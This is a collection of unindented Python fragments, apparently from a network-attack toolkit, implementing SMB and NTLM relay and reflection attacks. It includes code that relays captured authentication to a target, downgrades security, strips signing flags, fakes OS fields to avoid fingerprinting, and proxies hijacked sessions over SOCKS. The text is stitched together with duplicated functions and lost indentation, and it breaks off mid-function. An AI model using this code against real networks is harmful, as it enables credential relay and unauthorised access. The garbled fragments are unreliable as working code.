def sendNegotiatev1(self, negotiateMessage):
v1client = self.session.getSMBServer()
smb = NewSMBPacket()
smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
# Are we required to sign SMB? If so we do it, if not we skip it
if v1client.is_signing_required():
smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()
sessionSetup['Parameters']['MaxBufferSize'] = 65535
sessionSetup['Parameters']['MaxMpxCount'] = 2
sessionSetup['Parameters']['VcNumber'] = 1
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
# Let's build a NegTokenInit with the NTLMSSP
# TODO: In the future we should be able to choose different providers
blob = SPNEGO_NegTokenInit()
# NTLMSSP
blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
blob['MechToken'] = str(negotiateMessage)
sessionSetup['Parameters']['SecurityBlobLength'] = len(blob)
sessionSetup['Parameters'].getData()
sessionSetup['Data']['SecurityBlob'] = blob.getData()
# Fake Data here, don't want to get us fingerprinted
sessionSetup['Data']['NativeOS'] = 'Unix'
sessionSetup['Data']['NativeLanMan'] = 'Samba'
smb.addCommand(sessionSetup)
v1client.sendSMB(smb)
smb = v1client.recvSMB()
try:
smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
except Exception:
LOG.error("SessionSetup Error!")
raise
else:
# We will need to use this uid field for all future requests/responses
v1client.set_uid(smb['Uid'])
# Now we have to extract the blob to continue the auth process
sessionResponse = SMBCommand(smb['Data'][0])
sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])
sessionData = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2'])
sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']
sessionData.fromString(sessionResponse['Data'])
respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])
return respToken['ResponseToken']
def sendNegotiatev2(self, negotiateMessage):
v2client = self.session.getSMBServer()
sessionSetup = SMB2SessionSetup()
sessionSetup['Flags'] = 0
# Let's build a NegTokenInit with the NTLMSSP
blob = SPNEGO_NegTokenInit()
# NTLMSSP
blob['MechTypes'] = [
TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
]
blob['MechToken'] = str(negotiateMessage)
sessionSetup['SecurityBufferLength'] = len(blob)
sessionSetup['Buffer'] = blob.getData()
packet = v2client.SMB_PACKET()
packet['Command'] = SMB2_SESSION_SETUP
packet['Data'] = sessionSetup
packetID = v2client.sendSMB(packet)
ans = v2client.recvSMB(packetID)
if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):
v2client._Session['SessionID'] = ans['SessionID']
sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])
respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])
return respToken['ResponseToken']
return False
def sendNegotiatev2(self, negotiateMessage):
v2client = self.session.getSMBServer()
sessionSetup = SMB2SessionSetup()
sessionSetup['Flags'] = 0
# Let's build a NegTokenInit with the NTLMSSP
blob = SPNEGO_NegTokenInit()
# NTLMSSP
blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
blob['MechToken'] = negotiateMessage
sessionSetup['SecurityBufferLength'] = len(blob)
sessionSetup['Buffer'] = blob.getData()
packet = v2client.SMB_PACKET()
packet['Command'] = SMB2_SESSION_SETUP
packet['Data'] = sessionSetup
packetID = v2client.sendSMB(packet)
ans = v2client.recvSMB(packetID)
if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):
v2client._Session['SessionID'] = ans['SessionID']
sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])
respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])
return respToken['ResponseToken']
return False
def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False):
connData = smbServer.getConnectionData(connId, checkStatus=False)
respPacket = smb3.SMB2Packet()
respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR
respPacket['Status'] = STATUS_SUCCESS
respPacket['CreditRequestResponse'] = 1
respPacket['Command'] = smb3.SMB2_NEGOTIATE
respPacket['SessionID'] = 0
if isSMB1 is False:
respPacket['MessageID'] = recvPacket['MessageID']
else:
respPacket['MessageID'] = 0
respPacket['TreeID'] = 0
respSMBCommand = smb3.SMB2Negotiate_Response()
# Just for the Nego Packet, then disable it
respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED
if isSMB1 is True:
# Let's first parse the packet to see if the client supports SMB2
SMBCommand = smb.SMBCommand(recvPacket['Data'][0])
dialects = SMBCommand['Data'].split(b'\x02')
if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects:
respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
#respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
else:
# Client does not support SMB2 fallbacking
raise Exception('Client does not support SMB2, fallbacking')
else:
respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
#respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
respSMBCommand['ServerGuid'] = b(''.join([random.choice(string.ascii_letters) for _ in range(16)]))
respSMBCommand['Capabilities'] = 0
respSMBCommand['MaxTransactSize'] = 65536
respSMBCommand['MaxReadSize'] = 65536
respSMBCommand['MaxWriteSize'] = 65536
respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime()))
respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime()))
respSMBCommand['SecurityBufferOffset'] = 0x80
blob = SPNEGO_NegTokenInit()
blob['MechTypes'] = [TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism'],
TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
respSMBCommand['Buffer'] = blob.getData()
respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])
respPacket['Data'] = respSMBCommand
smbServer.setConnectionData(connId, connData)
return None, [respPacket], STATUS_SUCCESS
def getNegoAnswer(recvPacket):
smbCommand = SMBCommand(recvPacket['Data'][0])
respSMBCommand = SMBCommand(SMB.SMB_COM_NEGOTIATE)
resp = NewSMBPacket()
resp['Flags1'] = SMB.FLAGS1_REPLY
resp['Pid'] = recvPacket['Pid']
resp['Tid'] = recvPacket['Tid']
resp['Mid'] = recvPacket['Mid']
dialects = smbCommand['Data'].split('\x02')
index = dialects.index('NT LM 0.12\x00') - 1
# Let's fill the data for NTLM
if recvPacket['Flags2'] & SMB.FLAGS2_EXTENDED_SECURITY:
resp[
'Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_UNICODE
_dialects_data = SMBExtended_Security_Data()
_dialects_data['ServerGUID'] = 'A' * 16
blob = SPNEGO_NegTokenInit()
blob['MechTypes'] = [
TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
]
_dialects_data['SecurityBlob'] = blob.getData()
_dialects_parameters = SMBExtended_Security_Parameters()
_dialects_parameters[
'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_NT_SMBS | SMB.CAP_UNICODE
_dialects_parameters['ChallengeLength'] = 0
else:
resp['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_UNICODE
_dialects_parameters = SMBNTLMDialect_Parameters()
_dialects_data = SMBNTLMDialect_Data()
_dialects_data['Payload'] = ''
_dialects_data['Challenge'] = '\x11\x22\x33\x44\x55\x66\x77\x88'
_dialects_parameters['ChallengeLength'] = 8
_dialects_parameters[
'Capabilities'] = SMB.CAP_USE_NT_ERRORS | SMB.CAP_NT_SMBS
_dialects_parameters['Capabilities'] |= SMB.CAP_RPC_REMOTE_APIS
_dialects_parameters['DialectIndex'] = index
_dialects_parameters[
'SecurityMode'] = SMB.SECURITY_AUTH_ENCRYPTED | SMB.SECURITY_SHARE_USER
_dialects_parameters['MaxMpxCount'] = 1
_dialects_parameters['MaxNumberVcs'] = 1
_dialects_parameters['MaxBufferSize'] = 64000
_dialects_parameters['MaxRawSize'] = 65536
_dialects_parameters['SessionKey'] = 0
_dialects_parameters['LowDateTime'] = 0
_dialects_parameters['HighDateTime'] = 0
_dialects_parameters['ServerTimeZone'] = 0
respSMBCommand['Data'] = _dialects_data
respSMBCommand['Parameters'] = _dialects_parameters
resp.addCommand(respSMBCommand)
return resp
def sendNegotiate(self, negotiateMessage):
smb = NewSMBPacket()
smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
# Are we required to sign SMB? If so we do it, if not we skip it
if self._SignatureRequired:
smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()
sessionSetup['Parameters']['MaxBufferSize'] = 65535
sessionSetup['Parameters']['MaxMpxCount'] = 2
sessionSetup['Parameters']['VcNumber'] = 1
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
# Let's build a NegTokenInit with the NTLMSSP
# TODO: In the future we should be able to choose different providers
blob = SPNEGO_NegTokenInit()
# NTLMSSP
blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
blob['MechToken'] = str(negotiateMessage)
sessionSetup['Parameters']['SecurityBlobLength'] = len(blob)
sessionSetup['Parameters'].getData()
sessionSetup['Data']['SecurityBlob'] = blob.getData()
# Fake Data here, don't want to get us fingerprinted
sessionSetup['Data']['NativeOS'] = 'Unix'
sessionSetup['Data']['NativeLanMan'] = 'Samba'
smb.addCommand(sessionSetup)
self.sendSMB(smb)
smb = self.recvSMB()
try:
smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
except Exception:
logging.error("SessionSetup Error!")
raise
else:
# We will need to use this uid field for all future requests/responses
self._uid = smb['Uid']
# Now we have to extract the blob to continue the auth process
sessionResponse = SMBCommand(smb['Data'][0])
sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])
sessionData = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2'])
sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']
sessionData.fromString(sessionResponse['Data'])
respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])
return respToken['ResponseToken']
def build_apreq(domain, kdc, tgt, username, serviceclass, hostname):
# Build a protocol agnostic AP-REQ using the TGT we have, wrapped in GSSAPI/SPNEGO
username = Principal(username,
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
servername = Principal('%s/%s' % (serviceclass, hostname),
type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, _, sessionkey = getKerberosTGS(servername, domain, kdc,
tgt['KDC_REP'], tgt['cipher'],
tgt['sessionKey'])
# Let's build a NegTokenInit with a Kerberos AP_REQ
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = domain
seq_set(authenticator, 'cname', username.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionkey, 11,
encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
blob['MechToken'] = encoder.encode(apReq)
return blob.getData()
def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False):
connData = smbServer.getConnectionData(connId, checkStatus=False)
if self.config.mode.upper() == 'REFLECTION':
self.targetprocessor = TargetsProcessor(
singleTarget='SMB://%s:445/' % connData['ClientIP'])
self.target = self.targetprocessor.getTarget()
LOG.info(
"SMBD-%s: Received connection from %s, attacking target %s://%s" %
(connId, connData['ClientIP'], self.target.scheme,
self.target.netloc))
try:
if self.config.mode.upper() == 'REFLECTION':
# Force standard security when doing reflection
LOG.debug("Downgrading to standard security")
extSec = False
#recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
else:
extSec = True
# Init the correct client for our target
client = self.init_client(extSec)
except Exception as e:
LOG.error("Connection against target %s://%s FAILED: %s" %
(self.target.scheme, self.target.netloc, str(e)))
self.targetprocessor.logTarget(self.target)
else:
connData['SMBClient'] = client
connData['EncryptionKey'] = client.getStandardSecurityChallenge()
smbServer.setConnectionData(connId, connData)
respPacket = smb3.SMB2Packet()
respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR
respPacket['Status'] = STATUS_SUCCESS
respPacket['CreditRequestResponse'] = 1
respPacket['Command'] = smb3.SMB2_NEGOTIATE
respPacket['SessionID'] = 0
if isSMB1 is False:
respPacket['MessageID'] = recvPacket['MessageID']
else:
respPacket['MessageID'] = 0
respPacket['TreeID'] = 0
respSMBCommand = smb3.SMB2Negotiate_Response()
# Just for the Nego Packet, then disable it
respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED
if isSMB1 is True:
# Let's first parse the packet to see if the client supports SMB2
SMBCommand = smb.SMBCommand(recvPacket['Data'][0])
dialects = SMBCommand['Data'].split(b'\x02')
if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects:
respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
#respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
else:
# Client does not support SMB2 fallbacking
raise Exception('SMB2 not supported, fallbacking')
else:
respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
#respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
respSMBCommand['ServerGuid'] = b(''.join(
[random.choice(string.ascii_letters) for _ in range(16)]))
respSMBCommand['Capabilities'] = 0
respSMBCommand['MaxTransactSize'] = 65536
respSMBCommand['MaxReadSize'] = 65536
respSMBCommand['MaxWriteSize'] = 65536
respSMBCommand['SystemTime'] = getFileTime(
calendar.timegm(time.gmtime()))
respSMBCommand['ServerStartTime'] = getFileTime(
calendar.timegm(time.gmtime()))
respSMBCommand['SecurityBufferOffset'] = 0x80
blob = SPNEGO_NegTokenInit()
blob['MechTypes'] = [
TypesMech[
'NEGOEX - SPNEGO Extended Negotiation Security Mechanism'],
TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
]
respSMBCommand['Buffer'] = blob.getData()
respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])
respPacket['Data'] = respSMBCommand
smbServer.setConnectionData(connId, connData)
return None, [respPacket], STATUS_SUCCESS
def processSessionSetup(self, recvPacket):
if self.isSMB2 is False:
respSMBCommand = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
smbCommand = SMBCommand(recvPacket['Data'][0])
if smbCommand['WordCount'] == 12:
respParameters = SMBSessionSetupAndX_Extended_Response_Parameters(
)
respData = SMBSessionSetupAndX_Extended_Response_Data()
# First of all, we should received a type 1 message. Let's answer it
# NEGOTIATE_MESSAGE
challengeMessage = self.sessionData['CHALLENGE_MESSAGE']
challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SIGN)
respToken = SPNEGO_NegTokenResp()
# accept-incomplete. We want more data
respToken['NegResult'] = '\x01'
respToken['SupportedMech'] = TypesMech[
'NTLMSSP - Microsoft NTLM Security Support Provider']
respToken['ResponseToken'] = str(challengeMessage)
respParameters['SecurityBlobLength'] = len(respToken)
respData['SecurityBlobLength'] = respParameters[
'SecurityBlobLength']
respData['SecurityBlob'] = respToken.getData()
respData['NativeOS'] = ''
respData['NativeLanMan'] = ''
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
resp = NewSMBPacket()
resp['Flags1'] = SMB.FLAGS1_REPLY
resp['Flags2'] = SMB.FLAGS2_NT_STATUS
resp['Pid'] = recvPacket['Pid']
resp['Tid'] = recvPacket['Tid']
resp['Mid'] = recvPacket['Mid']
resp['Uid'] = 0
errorCode = STATUS_MORE_PROCESSING_REQUIRED
resp['ErrorCode'] = errorCode >> 16
resp['ErrorClass'] = errorCode & 0xff
resp.addCommand(respSMBCommand)
self.__NBSession.send_packet(resp.getData())
recvPacket, smbCommand = self.getSMBPacket()
sessionSetupParameters = SMBSessionSetupAndX_Extended_Parameters(
smbCommand['Parameters'])
sessionSetupData = SMBSessionSetupAndX_Extended_Data()
sessionSetupData[
'SecurityBlobLength'] = sessionSetupParameters[
'SecurityBlobLength']
sessionSetupData.fromString(smbCommand['Data'])
if unpack('B',
sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID:
# If there no GSSAPI ID, it must be an AUTH packet
blob = SPNEGO_NegTokenResp(
sessionSetupData['SecurityBlob'])
token = blob['ResponseToken']
else:
# NEGOTIATE packet
blob = SPNEGO_NegTokenInit(
sessionSetupData['SecurityBlob'])
token = blob['MechToken']
# Now we should've received a type 3 message
authenticateMessage = NTLMAuthChallengeResponse()
authenticateMessage.fromString(token)
try:
username = (
'%s/%s' %
(authenticateMessage['domain_name'].decode('utf-16le'),
authenticateMessage['user_name'].decode('utf-16le'))
).upper()
except UnicodeDecodeError:
# Not Unicode encoded?
username = ('%s/%s' %
(authenticateMessage['domain_name'],
authenticateMessage['user_name'])).upper()
# Check if we have a connection for the user
if self.activeRelays.has_key(username):
LOG.info('SOCKS: Proxying client session for %s@%s(445)' %
(username, self.targetHost))
errorCode = STATUS_SUCCESS
smbClient = self.activeRelays[username][
'protocolClient'].session
uid = smbClient.getSMBServer().get_uid()
else:
LOG.error('SOCKS: No session for %s@%s(445) available' %
(username, self.targetHost))
errorCode = STATUS_ACCESS_DENIED
uid = 0
smbClient = None
resp = NewSMBPacket()
resp['Flags1'] = recvPacket['Flags1'] | SMB.FLAGS1_REPLY
resp['Flags2'] = recvPacket[
'Flags2'] | SMB.FLAGS2_EXTENDED_SECURITY
resp['Command'] = recvPacket['Command']
resp['Pid'] = recvPacket['Pid']
resp['Tid'] = recvPacket['Tid']
resp['Mid'] = recvPacket['Mid']
resp['Uid'] = uid
resp['ErrorCode'] = errorCode >> 16
resp['ErrorClass'] = errorCode & 0xff
respData['NativeOS'] = ''
respData['NativeLanMan'] = ''
if uid == 0:
resp['Data'] = '\x00\x00\x00'
smbClient = None
else:
respToken = SPNEGO_NegTokenResp()
# accept-completed
respToken['NegResult'] = '\x00'
respParameters['SecurityBlobLength'] = len(respToken)
respData['SecurityBlobLength'] = respParameters[
'SecurityBlobLength']
respData['SecurityBlob'] = respToken.getData()
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
resp.addCommand(respSMBCommand)
self.__NBSession.send_packet(resp.getData())
return smbClient, username
else:
LOG.error(
'SOCKS: Can\'t handle standard security at the moment!')
return None
else:
respSMBCommand = SMB2SessionSetup_Response()
sessionSetupData = SMB2SessionSetup(recvPacket['Data'])
securityBlob = sessionSetupData['Buffer']
rawNTLM = False
if unpack('B', securityBlob[0])[0] == ASN1_AID:
# NEGOTIATE packet
blob = SPNEGO_NegTokenInit(securityBlob)
token = blob['MechToken']
if len(blob['MechTypes'][0]) > 0:
# Is this GSSAPI NTLM or something else we don't support?
mechType = blob['MechTypes'][0]
if mechType != TypesMech[
'NTLMSSP - Microsoft NTLM Security Support Provider']:
# Nope, do we know it?
if MechTypes.has_key(mechType):
mechStr = MechTypes[mechType]
else:
mechStr = hexlify(mechType)
LOG.debug(
"Unsupported MechType '%s', we just want NTLMSSP, answering"
% mechStr)
# We don't know the token, we answer back again saying
# we just support NTLM.
# ToDo: Build this into a SPNEGO_NegTokenResp()
respToken = '\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a'
respSMBCommand['SecurityBufferOffset'] = 0x48
respSMBCommand['SecurityBufferLength'] = len(respToken)
respSMBCommand['Buffer'] = respToken
resp = SMB2Packet()
resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR
resp['Status'] = STATUS_SUCCESS
resp['CreditRequestResponse'] = 1
resp['CreditCharge'] = recvPacket['CreditCharge']
resp['Command'] = recvPacket['Command']
resp['SessionID'] = 0
resp['Reserved'] = recvPacket['Reserved']
resp['MessageID'] = recvPacket['MessageID']
resp['TreeID'] = recvPacket['TreeID']
resp['Data'] = respSMBCommand
self.__NBSession.send_packet(resp.getData())
recvPacket, smbCommand = self.getSMBPacket()
return self.processSessionSetup(recvPacket)
elif unpack('B', securityBlob[0])[0] == ASN1_SUPPORTED_MECH:
# AUTH packet
blob = SPNEGO_NegTokenResp(securityBlob)
token = blob['ResponseToken']
else:
# No GSSAPI stuff, raw NTLMSSP
rawNTLM = True
token = securityBlob
# NEGOTIATE_MESSAGE
# First of all, we should received a type 1 message. Let's answer it
challengeMessage = self.sessionData['CHALLENGE_MESSAGE']
challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SIGN)
if rawNTLM is False:
respToken = SPNEGO_NegTokenResp()
# accept-incomplete. We want more data
respToken['NegResult'] = '\x01'
respToken['SupportedMech'] = TypesMech[
'NTLMSSP - Microsoft NTLM Security Support Provider']
respToken['ResponseToken'] = challengeMessage.getData()
else:
respToken = challengeMessage
resp = SMB2Packet()
resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR
resp['Status'] = STATUS_MORE_PROCESSING_REQUIRED
resp['CreditRequestResponse'] = 1
resp['CreditCharge'] = recvPacket['CreditCharge']
resp['Command'] = recvPacket['Command']
resp['SessionID'] = 0
resp['Reserved'] = recvPacket['Reserved']
resp['MessageID'] = recvPacket['MessageID']
resp['TreeID'] = recvPacket['TreeID']
respSMBCommand['SecurityBufferOffset'] = 0x48
respSMBCommand['SecurityBufferLength'] = len(respToken)
respSMBCommand['Buffer'] = respToken.getData()
resp['Data'] = respSMBCommand
self.__NBSession.send_packet(resp.getData())
recvPacket, smbCommand = self.getSMBPacket()
sessionSetupData = SMB2SessionSetup(recvPacket['Data'])
securityBlob = sessionSetupData['Buffer']
blob = SPNEGO_NegTokenResp(securityBlob)
token = blob['ResponseToken']
# AUTHENTICATE_MESSAGE, here we deal with authentication
authenticateMessage = NTLMAuthChallengeResponse()
authenticateMessage.fromString(token)
try:
username = (
'%s/%s' %
(authenticateMessage['domain_name'].decode('utf-16le'),
authenticateMessage['user_name'].decode('utf-16le'))
).upper()
except UnicodeDecodeError:
# Not Unicode encoded?
username = ('%s/%s' %
(authenticateMessage['domain_name'],
authenticateMessage['user_name'])).upper()
respToken = SPNEGO_NegTokenResp()
# Check if we have a connection for the user
if self.activeRelays.has_key(username):
LOG.info('SOCKS: Proxying client session for %s@%s(445)' %
(username, self.targetHost))
errorCode = STATUS_SUCCESS
smbClient = self.activeRelays[username][
'protocolClient'].session
uid = smbClient.getSMBServer()._Session['SessionID']
else:
LOG.error('SOCKS: No session for %s@%s(445) available' %
(username, self.targetHost))
errorCode = STATUS_ACCESS_DENIED
uid = 0
smbClient = None
# accept-completed
respToken['NegResult'] = '\x00'
resp = SMB2Packet()
resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR
resp['Status'] = errorCode
resp['CreditRequestResponse'] = 1
resp['CreditCharge'] = recvPacket['CreditCharge']
resp['Command'] = recvPacket['Command']
resp['SessionID'] = uid
resp['Reserved'] = recvPacket['Reserved']
resp['MessageID'] = recvPacket['MessageID']
resp['TreeID'] = recvPacket['TreeID']
respSMBCommand['SecurityBufferOffset'] = 0x48
# This is important for SAMBA client to work. If it is not set as a guest session,
# SAMBA will *not* like the fact that the packets are not signed (even tho it was not enforced).
respSMBCommand['SessionFlags'] = SMB2_SESSION_FLAG_IS_GUEST
respSMBCommand['SecurityBufferLength'] = len(respToken)
respSMBCommand['Buffer'] = respToken.getData()
resp['Data'] = respSMBCommand
self.__NBSession.send_packet(resp.getData())
return smbClient, username
def getNegoAnswer(self, recvPacket):
if self.isSMB2 is False:
smbCommand = SMBCommand(recvPacket['Data'][0])
respSMBCommand = SMBCommand(SMB.SMB_COM_NEGOTIATE)
resp = NewSMBPacket()
resp['Flags1'] = SMB.FLAGS1_REPLY
resp['Pid'] = recvPacket['Pid']
resp['Tid'] = recvPacket['Tid']
resp['Mid'] = recvPacket['Mid']
dialects = smbCommand['Data'].split('\x02')
index = dialects.index('NT LM 0.12\x00') - 1
# Let's fill the data for NTLM
if recvPacket['Flags2'] & SMB.FLAGS2_EXTENDED_SECURITY:
resp[
'Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_UNICODE
_dialects_data = SMBExtended_Security_Data()
_dialects_data['ServerGUID'] = 'A' * 16
blob = SPNEGO_NegTokenInit()
blob['MechTypes'] = [
TypesMech[
'NTLMSSP - Microsoft NTLM Security Support Provider']
]
_dialects_data['SecurityBlob'] = blob.getData()
_dialects_parameters = SMBExtended_Security_Parameters()
_dialects_parameters[
'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_NT_SMBS | SMB.CAP_UNICODE
_dialects_parameters['ChallengeLength'] = 0
else:
resp['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_UNICODE
_dialects_parameters = SMBNTLMDialect_Parameters()
_dialects_data = SMBNTLMDialect_Data()
_dialects_data['Payload'] = ''
_dialects_data[
'Challenge'] = '\x11\x22\x33\x44\x55\x66\x77\x88'
_dialects_parameters['ChallengeLength'] = 8
_dialects_parameters[
'Capabilities'] = SMB.CAP_USE_NT_ERRORS | SMB.CAP_NT_SMBS
_dialects_parameters['Capabilities'] |= SMB.CAP_RPC_REMOTE_APIS
_dialects_parameters['DialectIndex'] = index
_dialects_parameters[
'SecurityMode'] = SMB.SECURITY_AUTH_ENCRYPTED | SMB.SECURITY_SHARE_USER
_dialects_parameters['MaxMpxCount'] = 1
_dialects_parameters['MaxNumberVcs'] = 1
_dialects_parameters['MaxBufferSize'] = 64000
_dialects_parameters['MaxRawSize'] = 65536
_dialects_parameters['SessionKey'] = 0
_dialects_parameters['LowDateTime'] = 0
_dialects_parameters['HighDateTime'] = 0
_dialects_parameters['ServerTimeZone'] = 0
respSMBCommand['Data'] = _dialects_data
respSMBCommand['Parameters'] = _dialects_parameters
resp.addCommand(respSMBCommand)
else:
resp = SMB2Packet()
resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR
resp['Status'] = STATUS_SUCCESS
resp['CreditRequestResponse'] = 1
resp['CreditCharge'] = 1
resp['Command'] = SMB2_NEGOTIATE
resp['SessionID'] = 0
resp['MessageID'] = 0
resp['TreeID'] = 0
respSMBCommand = SMB2Negotiate_Response()
respSMBCommand['SecurityMode'] = 1
if isinstance(recvPacket, NewSMBPacket):
respSMBCommand['DialectRevision'] = SMB2_DIALECT_WILDCARD
else:
respSMBCommand['DialectRevision'] = self.serverDialect
resp['MessageID'] = 1
respSMBCommand['ServerGuid'] = ''.join(
[random.choice(string.letters) for _ in range(16)])
respSMBCommand['Capabilities'] = 0x7
respSMBCommand['MaxTransactSize'] = 65536
respSMBCommand['MaxReadSize'] = 65536
respSMBCommand['MaxWriteSize'] = 65536
respSMBCommand['SystemTime'] = getFileTime(
calendar.timegm(time.gmtime()))
respSMBCommand['ServerStartTime'] = getFileTime(
calendar.timegm(time.gmtime()))
respSMBCommand['SecurityBufferOffset'] = 0x80
blob = SPNEGO_NegTokenInit()
blob['MechTypes'] = [
TypesMech[
'NEGOEX - SPNEGO Extended Negotiation Security Mechanism'],
TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
]
respSMBCommand['Buffer'] = blob.getData()
respSMBCommand['SecurityBufferLength'] = len(
respSMBCommand['Buffer'])
resp['Data'] = respSMBCommand
return resp
def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId, checkStatus=False)
#############################################################
# SMBRelay
# Are we ready to relay or should we just do local auth?
if 'relayToHost' not in connData:
# Just call the original SessionSetup
return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand,
recvPacket)
# We have confirmed we want to relay to the target host.
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
if connData['_dialects_parameters'][
'Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
# Extended security. Here we deal with all SPNEGO stuff
respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters(
)
